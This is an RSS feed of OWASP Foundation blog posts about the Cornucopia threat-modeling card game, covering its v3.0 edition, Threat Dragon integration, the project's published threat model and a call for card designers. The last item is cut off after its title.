<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: OWASP® Foundation</title>
    <description>The latest articles on DEV Community by OWASP® Foundation (@owasp).</description>
    <link>https://dev.to/owasp</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F3468%2F0b3561bb-9ac3-413f-baaa-5014181e4b4d.jpg</url>
      <title>DEV Community: OWASP® Foundation</title>
      <link>https://dev.to/owasp</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/owasp"/>
    <language>en</language>
    <item>
      <title>The Cornucopia of Gamified Threat Modeling</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Tue, 24 Mar 2026 09:55:15 +0000</pubDate>
      <link>https://dev.to/owasp/the-cornucopia-of-gamified-threat-modeling-1c9k</link>
      <guid>https://dev.to/owasp/the-cornucopia-of-gamified-threat-modeling-1c9k</guid>
      <description>&lt;p&gt;&lt;strong&gt;At the OWASP Cornucopia project, we are done with updating the cards and help pages for the Website App Edition v3.0: &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org/edition/webapp/VE2/3.0&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We would like to thank everyone who contributed to the translations for the new version of the card game and welcome you to review the text on the help pages themselves. Are there inconsistencies? Is there something you feel should be added or removed? If you find anything, please don't hesitate to contact us or raise an issue. Each page includes a "View source on GitHub" button that lets you quickly edit the text if you aren't pleased with it. All viewpoints and critiques are welcome as we are trying to create a home for gamified threat modelling.&lt;/p&gt;

&lt;p&gt;The new Website App Edition v3.0, available in 10 languages (EN, ES, FR, HI, NL, NO-NB, PT-PT,  PT-BR, RU, UK), connects 202 CAPECs individually to a set of ASVS 5.0 requirements in relation to each of the cards. This means, even though you only have 80 cards, the website describes an exponential number of possible threats, making it the Cornucopia of website app threats. There is simply no end to the possibilities that your thoughts can take you while playing the game, yes, that's the Cornucopia way.&lt;br&gt;
But what if you want to focus on a specific CAPEC and find the related OWASP ASVS requirements? &lt;br&gt;
Go to a card, click on the CAPEC in the CAPEC map, and it will give you all the possible OWASP ASVS combinations, thereby connecting attack patterns and security requirements, making a thorough and deep website security requirement analysis possible while discussing a specific card. You can literally spend weeks analysing, playing, deciding for yourself "What can go wrong?", "What to do about it?", and even form yourself an opinion on whether you really did a good job (see: &lt;a href="https://github.com/adamshostack/4QuestionFrame" rel="noopener noreferrer"&gt;Shostack's Four Question Frame for Threat Modeling&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Have we stopped there? Now we haven't! For each card, you also have the "OWASP Cheat Sheet Series Index". What is that? The "OWASP Cheat Sheet Series Index" is an OWASP index that connects each of the ASVS requirements with a set of OWASP Cheat Sheets that will give you advice on how to implement the specific OWASP ASVS requirement! Want to know how to do log protection according to "OWASP ASVS V16.4 - Log Protection"? No problem! The "OWASP ASVS (5.0) Cheat Sheet Series Index" displayed on the help pages for each card will take you to the collection of OWASP Cheat Sheets that is related to the requirement you are wondering about.&lt;/p&gt;

&lt;p&gt;But there is even more! What about STRIDE? What about Threat Modeling? Each card has a &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0#STRIDE" rel="noopener noreferrer"&gt;STRIDE section&lt;/a&gt;, a &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0#What-can-go-wrong?" rel="noopener noreferrer"&gt;"What can go wrong?"&lt;/a&gt; section and a &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0#What-are-we-going-to-do-about-it?" rel="noopener noreferrer"&gt;"What are we going to do about it?"&lt;/a&gt; section. &lt;/p&gt;

&lt;p&gt;This means that during your threat modeling, if you have questions about &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0#What-can-go-wrong?" rel="noopener noreferrer"&gt;"What can go wrong?"&lt;/a&gt; or &lt;a href="https://cornucopia.owasp.org/edition/webapp/VE2/3.0#What-are-we-going-to-do-about-it?" rel="noopener noreferrer"&gt;"What are we going to do about it?"&lt;/a&gt; Just go to the individual card pages, and you will find what you are looking for!&lt;/p&gt;

&lt;p&gt;Now, you may be asking yourself, "That's it, right? No, it isn't, we have even moooooooore! &lt;/p&gt;
&lt;h2&gt;
  
  
  Threat Dragon and EoP Games
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ry2rze9wnftocimdkyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ry2rze9wnftocimdkyo.png" alt="Threat Dragon and EoP Games"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When choosing a tool for publishing our threat model, we chose &lt;a href="https://www.threatdragon.com/#/" rel="noopener noreferrer"&gt;OWASP Threat Dragon&lt;/a&gt;. OWASP Threat Dragon is a free, open-source, cross-platform threat modeling application. It is used to create threat modeling diagrams and list threats for elements within the diagrams. Mike Goodwin created Threat Dragon as an open-source community project that provides an intuitive, accessible way to model threats.&lt;/p&gt;

&lt;p&gt;OWASP Threat Dragon has released this possibility in v2.6. This is just the start of integration between the two projects.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl25mz5xxzbt0a8t5627g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl25mz5xxzbt0a8t5627g.png" alt="How to choose to create a OWASP Cornucopia threat model"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks to Gerardo Canedo and his students at Universidad Católica del Uruguay, it's now possible to create your OWASP Cornucopia Threat Model directly in OWASP Threat Dragon. When creating a new diagram for your threat model, simply choose to create an EoP Games diagram. We chose to call the diagram EoP Games for two reasons. One, OWASP Cornucopia is derived from the &lt;a href="https://shostack.org/games/elevation-of-privilege" rel="noopener noreferrer"&gt;Elevation of Privilege game&lt;/a&gt; created by Adam Shostack. Two, we don't want to stop with OWASP Cornucopia. We also want to add other EoP games, such as the original EoP Game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zl30hc63fie1wg6y7e3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zl30hc63fie1wg6y7e3.png" alt="Create a OWASP Cornucopia threat"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you have created an EoP Games diagram, you can add OWASP Cornucopia threats to your threat model. The specific threat you add will get a link reference to the &lt;a href="https://cornucopia.owasp.org/edition/webapp/AT3/2.2/en#Threat-Modeling" rel="noopener noreferrer"&gt;OWASP Cornucopia website&lt;/a&gt;, where you will find guidance on threat modeling and STRIDE, which will help you in identifying what can go wrong and what to do about it. You can also find a &lt;a href="https://cornucopia.owasp.org/edition/webapp/AT3/2.2/en#What-are-we-going-to-do-about-it?" rel="noopener noreferrer"&gt;complete mapping&lt;/a&gt; to &lt;a href="https://cornucopia.owasp.org/taxonomy/asvs-4.0.3/02-authentication/05-credential-recovery#V2.5.2" rel="noopener noreferrer"&gt;OWASP ASVS&lt;/a&gt;, &lt;a href="https://devguide.owasp.org/en/04-design/02-web-app-checklist/06-digital-identity/#1-authentication-a" rel="noopener noreferrer"&gt;OWASP Developer Guide&lt;/a&gt;, and all &lt;a href="https://cornucopia.owasp.org/taxonomy/capec-3.9" rel="noopener noreferrer"&gt;relevant CAPECs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mvjvggcpwkh58fix1bc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mvjvggcpwkh58fix1bc.png" alt="OWASP Corncupia Website"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I want to express my sincere appreciation to Gerardo Canedo, Sebastian Feirres, and their students at Universidad Católica del Uruguay for making this possible. With their dedication and effort, OWASP Cornucopia wouldn’t have had this possibility.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faabcyoarlrl9ogkvw601.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faabcyoarlrl9ogkvw601.JPG" alt="Gerardo Canedo and his students at Universidad Católica del Uruguay"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Shostack's 4 Question Frame for Threat Modeling
&lt;/h2&gt;

&lt;p&gt;OWASP Cornucopia, together with OWASP Threat Dragon, is helping us in answering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What we are working on&lt;/li&gt;
&lt;li&gt;What can go wrong?&lt;/li&gt;
&lt;li&gt;What are we going to do about it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;...but "Did we do a good enough job?"&lt;/p&gt;

&lt;p&gt;At Admincontrol, where I work, we have always sent an anonymous survey after every OWASP Cornucopia threat modeling session. The aggregate score for how satisfied respondents have been with all sessions we've held since we started OWASP Cornucopia in 2023 is 4.5 out of 5. When asked how relevant the session was to the participant's job, the average score was 4.7 out of 5. When asked whether the OWASP Cornucopia session helped the participants understand which security controls (mitigations) they need to implement/test, the score was 4.5. When asked whether the session improved the overall awareness of application security requirements, the score was 4.0. When asked, "Did we do a good job?", the score was 4.3. So for sure, we can do better!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0iihqk4knhglpi3qo2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0iihqk4knhglpi3qo2l.png" alt="Relevant for your job"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When asking the question, "Did we do a good enough job?", don’t just blurt it out during a session. Do you honestly think people will give you their honest criticism to your face directly? Send out an anonymous survey and ask for feedback!&lt;/p&gt;
&lt;h2&gt;
  
  
  How to get those requirements into your issue tracking software
&lt;/h2&gt;

&lt;p&gt;So you have done your threat modeling and security requirement analysis, what comes next? You need to create an issue that the development team can work on, and you need to add it to the development team's sprint. How do you do it? &lt;br&gt;
The OWASP Cornucopia project is creating a &lt;a href="https://cornucopia.owasp.org/api/docs" rel="noopener noreferrer"&gt;requirements API&lt;/a&gt; that lets you harvest the security requirements you want. After you have created your threat model in OWASP Threat Dragon, extract its JSON response, look up the threats you have identified, and find the corresponding security requirements by using the API, merge the results together, and generate your &lt;a href="https://cornucopia.owasp.org/how-to-play#Gameplay---Modelling-evil-user-stories" rel="noopener noreferrer"&gt;evil user stories&lt;/a&gt; by pushing the results to your issue tracking software just in time for the development team's next sprint.&lt;/p&gt;
&lt;h2&gt;
  
  
  How to get OWASP Cornucopia?
&lt;/h2&gt;

&lt;p&gt;The question you might be asking yourself is, "How are we going to be able to utilize these resources and play this game?" No problem! There are various ways you can do that, both online at &lt;a href="http://copi.owasp.org/" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt; and in person, enjoying the presence of your colleagues, by &lt;a href="https://cybersecgames.com/products/owasp%C2%AE-cornucopia-3-0-website-app-edition-threat-modeling-cards-copy" rel="noopener noreferrer"&gt;buying a deck of cards&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  What is coming next...
&lt;/h2&gt;

&lt;p&gt;But what about DevOps? What about LLM and AI Agents? We are working on that too. The new &lt;a href="https://cornucopia.owasp.org/edition/companion" rel="noopener noreferrer"&gt;OWASP Cornucopia Companion Edition&lt;/a&gt;, that soon will be published, can be used alongside the OWASP Website App Edition and it comes with 6 new companion suits covering new topics: Agentic AI (AAI), Automated Threats (BOT), Cloud (CLD), Frontend (FRE), Large Language Models (LLM), and  DevOps (DVO). A suit in the companion deck may replace (or be used in addition to) suites in the existing Website Edition so that the players can add a specific focus to their threat modeling: For example, say you are building an LLM application and want to perform threat modeling specifically for LLM. You would then use the OWASP Cornucopia Website Edition and the LLM companion suite as your elected OWASP Cornucopia focus area.&lt;/p&gt;

&lt;p&gt;OWASP Cornucopia welcomes any input or improvements you might be willing to share with us. For anyone wanting to share their opinion, please don't hesitate to &lt;a href="https://github.com/OWASP/cornucopia/issues" rel="noopener noreferrer"&gt;visit our repository&lt;/a&gt;, share your feedback, and, if appropriate, give us a star⭐️.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>appsec</category>
      <category>security</category>
      <category>gamedev</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>OWASP Cornucopia is publishing it’s darkest secrets!</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Mon, 16 Feb 2026 06:39:00 +0000</pubDate>
      <link>https://dev.to/owasp/owasp-cornucopia-is-publishing-its-darkest-secrets-fjc</link>
      <guid>https://dev.to/owasp/owasp-cornucopia-is-publishing-its-darkest-secrets-fjc</guid>
      <description>&lt;p&gt;&lt;strong&gt;Why do we keep our darkest fears secret? Publish them, and bring light to the darkest corners of your web application.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When Adam Schostack + associates last year urged everyone to &lt;a href="https://shostack.org/blog/publish-your-threat-model/" rel="noopener noreferrer"&gt;publish their threat model&lt;/a&gt;, we thought, «What a wonderful idea!»&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivcsnbnbtq4qs0t4xzc6.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivcsnbnbtq4qs0t4xzc6.webp" alt="Publish your threat model, at https://shostack.org/blog/publish-your-threat-model/"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we went ahead and did just that. At cornucopia.owasp.org, you can now &lt;a href="https://cornucopia.owasp.org/copi#Our-Threat-Model" rel="noopener noreferrer"&gt;find the threat model&lt;/a&gt; for the &lt;a href="https://copi.owasp.org/" rel="noopener noreferrer"&gt;OWASP Cornucopia Game Engine, Copi&lt;/a&gt;.&lt;br&gt;
There we have listed all our darkest fears and secrets. Darkness is not a force of its own; it is simply the absence of light. When light is shed on our doubts and fears, making them visible, we find solutions and become stronger. This is why publishing your threat model is essential. If you refuse to disclose your vulnerabilities to anyone, they become liabilities that may one day lead to doubts, lies, and perhaps even conspiracies and litigation. Therefore, before building software, build trust and make it clear what others need to be aware of.&lt;/p&gt;
&lt;h2&gt;
  
  
  Threat Dragon and EoP Games
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ry2rze9wnftocimdkyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ry2rze9wnftocimdkyo.png" alt="Threat Dragon and EoP Games"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When choosing a tool for publishing our threat model, we chose &lt;a href="https://www.threatdragon.com/#/" rel="noopener noreferrer"&gt;OWASP Threat Dragon&lt;/a&gt;. OWASP Threat Dragon is a free, open-source, cross-platform threat modeling application. It is used to create threat modeling diagrams and list threats for elements within the diagrams. Mike Goodwin created Threat Dragon as an open-source community project that provides an intuitive, accessible way to model threats.&lt;/p&gt;

&lt;p&gt;OWASP Threat Dragon will release this possibility in v2.6, which is due to be released in week 9, but already now, you can try it out on their &lt;a href="https://www.threatdragon.com/#/" rel="noopener noreferrer"&gt;demo site&lt;/a&gt;. This is just the start of integration between the two projects; more is to come. OWASP Threat Dragon V2.6 will come out with all sorts of exciting features. For a full list, have a look at their current &lt;a href="https://github.com/OWASP/threat-dragon/issues?q=label%3Aversion-2.6" rel="noopener noreferrer"&gt;v2.6 roadmap&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl25mz5xxzbt0a8t5627g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl25mz5xxzbt0a8t5627g.png" alt="How to choose to create a OWASP Cornucopia threat model"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks to Gerardo Canedo and his students at Universidad Católica del Uruguay, it's now possible to create your OWASP Cornucopia Threat Model directly in OWASP Threat Dragon. When creating a new diagram for your threat model, simply choose to create an EoP Games diagram. We chose to call the diagram EoP Games for two reasons. One, OWASP Cornucopia is derived from the &lt;a href="https://shostack.org/games/elevation-of-privilege" rel="noopener noreferrer"&gt;Elevation of Privilege game&lt;/a&gt; created by Adam Shostack. Two, we don't want to stop with OWASP Cornucopia. We also want to add other EoP games, such as the original EoP Game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zl30hc63fie1wg6y7e3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zl30hc63fie1wg6y7e3.png" alt="Create a OWASP Cornucopia threat"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you have created an EoP Games diagram, you can add OWASP Cornucopia threats to your threat model. The specific threat you add will get a link reference to the &lt;a href="https://cornucopia.owasp.org/edition/webapp/AT3/2.2/en#Threat-Modeling" rel="noopener noreferrer"&gt;OWASP Cornucopia website&lt;/a&gt;, where you will find guidance on threat modeling and STRIDE, which will help you in identifying what can go wrong and what to do about it. You can also find a &lt;a href="https://cornucopia.owasp.org/edition/webapp/AT3/2.2/en#What-are-we-going-to-do-about-it?" rel="noopener noreferrer"&gt;complete mapping&lt;/a&gt; to &lt;a href="https://cornucopia.owasp.org/taxonomy/asvs-4.0.3/02-authentication/05-credential-recovery#V2.5.2" rel="noopener noreferrer"&gt;OWASP ASVS&lt;/a&gt;, &lt;a href="https://devguide.owasp.org/en/04-design/02-web-app-checklist/06-digital-identity/#1-authentication-a" rel="noopener noreferrer"&gt;OWASP Developer Guide&lt;/a&gt;, and all &lt;a href="https://cornucopia.owasp.org/taxonomy/capec-3.9" rel="noopener noreferrer"&gt;relevant CAPECs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mvjvggcpwkh58fix1bc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mvjvggcpwkh58fix1bc.png" alt="OWASP Corncupia Website"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I want to express my sincere appreciation to Gerardo Canedo, Sebastian Feirres, and their students at Universidad Católica del Uruguay for making this possible. With their dedication and effort, OWASP Cornucopia wouldn’t have had this possibility.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faabcyoarlrl9ogkvw601.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faabcyoarlrl9ogkvw601.JPG" alt="Gerardo Canedo and his students at Universidad Católica del Uruguay"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Shostack's 4 Question Frame for Threat Modeling
&lt;/h2&gt;

&lt;p&gt;OWASP Cornucopia, together with OWASP Threat Dragon, is helping us in answering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What we are working on&lt;/li&gt;
&lt;li&gt;What can go wrong?&lt;/li&gt;
&lt;li&gt;What are we going to do about it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;...but "Did we do a good enough job?"&lt;/p&gt;

&lt;p&gt;At Admincontrol, where I work, we have always sent an anonymous survey after every OWASP Cornucopia threat modeling session. The aggregate score for how satisfied respondents have been with all sessions we've held since we started OWASP Cornucopia in 2023 is 4.5 out of 5. When asked how relevant the session was to the participant's job, the average score was 4.7 out of 5. When asked whether the OWASP Cornucopia session helped the participants understand which security controls (mitigations) they need to implement/test, the score was 4.5. When asked whether the session improved the overall awareness of application security requirements, the score was 4.0. When asked, "Did we do a good job?", the score was 4.3. So for sure, we can do better!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0iihqk4knhglpi3qo2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0iihqk4knhglpi3qo2l.png" alt="Relevant for your job"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When asking the question, "Did we do a good enough job?", don’t just blurt it out during a session. Do you honestly think people will give you their honest criticism to your face directly? Send out an anonymous survey and ask for feedback!&lt;/p&gt;

&lt;p&gt;OWASP Cornucopia welcomes any input or improvements you might be willing to share with us regarding our current threat model. Arguably, we created the system before we were able to identify all our threats, and several improvements need to be made to properly balance the inherent risks of compromise against the current security controls. For anyone hosting the game engine, please take this into account. For anyone wanting to share their opinion, please don't hesitate to &lt;a href="https://github.com/OWASP/cornucopia/issues" rel="noopener noreferrer"&gt;visit our repository&lt;/a&gt;, share your feedback, and, if appropriate, give us a star⭐️.&lt;/p&gt;

&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>security</category>
      <category>appsec</category>
      <category>agile</category>
      <category>infosec</category>
    </item>
    <item>
      <title>OWASP Cornucopia 3.0 - A call for card game designers!</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Thu, 13 Nov 2025 12:24:59 +0000</pubDate>
      <link>https://dev.to/owasp/owasp-cornucopia-30-a-call-for-card-game-designers-1j1m</link>
      <guid>https://dev.to/owasp/owasp-cornucopia-30-a-call-for-card-game-designers-1j1m</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;Would you like to be our card game designer for the OWASP Cornucopia Website Edition v3.0?&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;We are close to releasing the next version of &lt;a href="https://cornucopia.owasp.org/cards" rel="noopener noreferrer"&gt;OWASP Cornucopia Website Edition v3.0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We wonder whether there are some brilliant designers out there who would like to volunteer to create the motifs for the 80 cards in OWASP's very popular threat modeling card games for website applications?&lt;/p&gt;

&lt;p&gt;OWASP® Cornucopia is a threat modeling tool in the form of a card game to assist software development teams in identifying security requirements in Agile, conventional, and formal development processes. It strives to be language, platform, and technology-agnostic.&lt;/p&gt;

&lt;p&gt;It’s one of the few tools that connects threat modeling with OWASP ASVS, SAFECode, STRIDE, OWASP DevGuide, and CAPEC, helping to identify security requirements, develop a secure design, and create a threat model without prior knowledge of these frameworks. &lt;/p&gt;

&lt;p&gt;We are now creating the next version of the website app game. The new version will feature new cards and text that cover all of the requirements in OWASP ASVS 5.0 and connect these to more than 210 unique common attack patterns (CAPEC).&lt;/p&gt;

&lt;p&gt;The first edition was created in August 2012, released as v1.0 in February 2013, and has undergone several minor updates/releases over the subsequent ten years. This has been substantially updated in today’s release of v3.0, with the most noticeable change being the update of the OWASP ASVS mapping from ASVS v4.0 to v5.0. The card game comes in two physical sizes. The smaller ones are often referred to as “bridge-sized cards” and the larger ones as “Tarot-sized cards”. All these v3.0 files will be immediately available in nine languages (English, Spanish, French, Dutch, Norwegian, Portuguese, Italian, Russian, and Hungarian) due to the efforts of past and current volunteers.&lt;/p&gt;

&lt;p&gt;Don't hesitate to get in touch &lt;a href="https://www.linkedin.com/in/sydseter/" rel="noopener noreferrer"&gt;with us&lt;/a&gt; for fame and glory.&lt;/p&gt;




&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;

&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>gamedev</category>
      <category>security</category>
      <category>design</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How do you get your dev team to shift left by themselves for real?</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Fri, 03 Oct 2025 07:12:03 +0000</pubDate>
